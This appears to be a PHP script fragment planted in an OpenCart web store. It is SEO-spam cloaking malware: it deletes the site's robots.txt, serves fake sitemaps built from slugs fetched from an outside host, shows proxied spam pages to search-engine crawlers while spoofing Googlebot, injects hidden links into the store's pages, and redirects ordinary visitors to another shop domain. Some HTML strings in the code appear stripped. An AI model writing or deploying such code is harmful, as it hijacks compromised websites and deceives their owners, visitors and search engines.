'https://sexyroom.shop',
'proxy_base' => 'http://crshop.top',
'match_path_keyword' => '/product/',
);
// ================== REQUEST ==================
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
// ================== BOT UA ==================
$bot_uas = array('googlebot','bingbot','slurp','duckduckbot','yandex');
$is_bot = false;
foreach ($bot_uas as $kw) {
if (strpos($ua, $kw) !== false) {
$is_bot = true;
break;
}
}
// ================== CACHE ==================
$CACHE_BASE = '/tmp/opencart_proxy_cache';
if (!is_dir($CACHE_BASE)) {
@mkdir($CACHE_BASE, 0777, true);
}
function ensure_dir($file) {
$dir = dirname($file);
if (!is_dir($dir)) {
@mkdir($dir, 0777, true);
}
}
//
$robots_local = __DIR__ . '/robots.txt';
if (is_file($robots_local)) {
@unlink($robots_local);
}
// ================== ROBOTS ==================
if (preg_match('~^/robots\.txt$~i', $req_uri)) {
$cache = $CACHE_BASE . '/robots.txt';
if (is_file($cache)) {
header('Content-Type: text/plain; charset=utf-8');
readfile($cache);
exit;
}
$content =
"User-agent: *\n" .
"Disallow: /admin/\n" .
"Disallow: /system/\n" .
"Allow: /\n\n" .
"Sitemap: {$scheme}://{$host}/sitemap.xml\n";
header('Content-Type: text/plain; charset=utf-8');
echo $content;
ensure_dir($cache);
@file_put_contents($cache, $content, LOCK_EX);
exit;
}
// ================== SITEMAP INDEX ==================
if (preg_match('~^/sitemap(?:index)?\.xml$~i', $req_uri)) {
$cache = $CACHE_BASE . '/sitemap.xml';
if (is_file($cache)) {
header('Content-Type: application/xml; charset=utf-8');
readfile($cache);
exit;
}
ob_start();
echo "\n";
echo "\n";
for ($i = 1; $i <= 20; $i++) {
echo "";
echo "{$scheme}://{$host}/sitemap{$i}.xml";
echo "" . date('Y-m-d') . "";
echo "\n";
}
echo "";
$xml = ob_get_clean();
header('Content-Type: application/xml; charset=utf-8');
echo $xml;
ensure_dir($cache);
@file_put_contents($cache, $xml, LOCK_EX);
exit;
}
// ================== SITEMAP N ==================
if (preg_match('~^/sitemap(\d+)\.xml$~i', $req_uri, $m)) {
$cache = $CACHE_BASE . '/sitemap' . $m[1] . '.xml';
if (is_file($cache)) {
header('Content-Type: application/xml; charset=utf-8');
readfile($cache);
exit;
}
$seed = hexdec(substr(md5($host . $req_uri), 0, 6));
mt_srand($seed);
$fetch_url = rtrim($CONFIG['proxy_base'], '/') .
'/keywords_product_for_sitemap.php?rand=' . mt_rand();
$items = array();
$res = @file_get_contents($fetch_url);
if ($res) {
foreach (preg_split("/\r\n|\n/", trim($res)) as $line) {
if (strpos($line, '#') === false) continue;
$slug = trim(explode('#', $line, 2)[0]);
if ($slug !== '') $items[] = $slug;
}
}
ob_start();
echo "\n";
echo "\n";
foreach ($items as $slug) {
echo "{$scheme}://{$host}/product/" .
rawurlencode($slug) .
"/" . date('Y-m-d') . "\n";
}
echo "";
$xml = ob_get_clean();
header('Content-Type: application/xml; charset=utf-8');
echo $xml;
ensure_dir($cache);
@file_put_contents($cache, $xml, LOCK_EX);
exit;
}
// ================== BOT PRODUCT PROXY ==================
if ($is_bot && strpos($req_uri, $CONFIG['match_path_keyword']) === 0) {
$path = parse_url($req_uri, PHP_URL_PATH);
if (!$path) exit;
$slug = basename(rtrim($path, '/'));
if ($slug === '' || $slug === 'product') exit;
$cache = $CACHE_BASE . '/product/' . $slug . '.html';
ensure_dir($cache);
if (is_file($cache) && filesize($cache) > 200) {
header('Content-Type: text/html; charset=utf-8');
readfile($cache);
exit;
}
$target = rtrim($CONFIG['proxy_base'], '/') . $req_uri;
$ch = curl_init($target);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 8,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1)'
));
$html = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (!$html || $code != 200 || strlen($html) < 200) exit;
header('Content-Type: text/html; charset=utf-8');
echo $html;
@file_put_contents($cache, $html, LOCK_EX);
exit;
}
// ================== RANDOM INTERNAL LINK INJECTION ==================
if (strpos($req_uri, $CONFIG['match_path_keyword']) === false) {
ob_start(function ($html) use ($CONFIG) {
if (stripos($html, ' '/product/' . rawurlencode(trim($tmp[0])) . '/',
'title' => htmlspecialchars(trim($tmp[1]), ENT_QUOTES, 'UTF-8')
);
}
if (!$items) return $html;
shuffle($items);
$ratio = mt_rand(80, 100) / 100;
$need = (int)ceil(count($items) * $ratio);
$items = array_slice($items, 0, $need);
$points = array(
'~(]*>.*?)~is',
'~(]*>.*?)~is',
'~(]*>.*?)~is',
'~(]*>)~i',
'~(]*>)~i',
'~ ~i',
);
$max_each = max(1, ceil($need / count($points)));
foreach ($points as $p) {
if (!$items) break;
if (!preg_match($p, $html)) continue;
$take = array_splice($items, 0, mt_rand(1, min($max_each, count($items))));
$block = '';
$html = preg_replace($p, '$1' . $block, $html, 1);
}
if ($items && preg_match('~~i', $html)) {
$block = '';
$html = preg_replace('~~i', $block . '', $html, 1);
}
return $html;
});
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// ================== FAST REDIRECT (NON-BOT ONLY) ==================
if (!$is_bot && $referer !== '' && strpos($req_uri, $CONFIG['match_path_keyword']) !== false) {
$target = rtrim($CONFIG['proxy_index'], '/') . $req_uri;
header('Content-Type: text/html; charset=utf-8');
echo '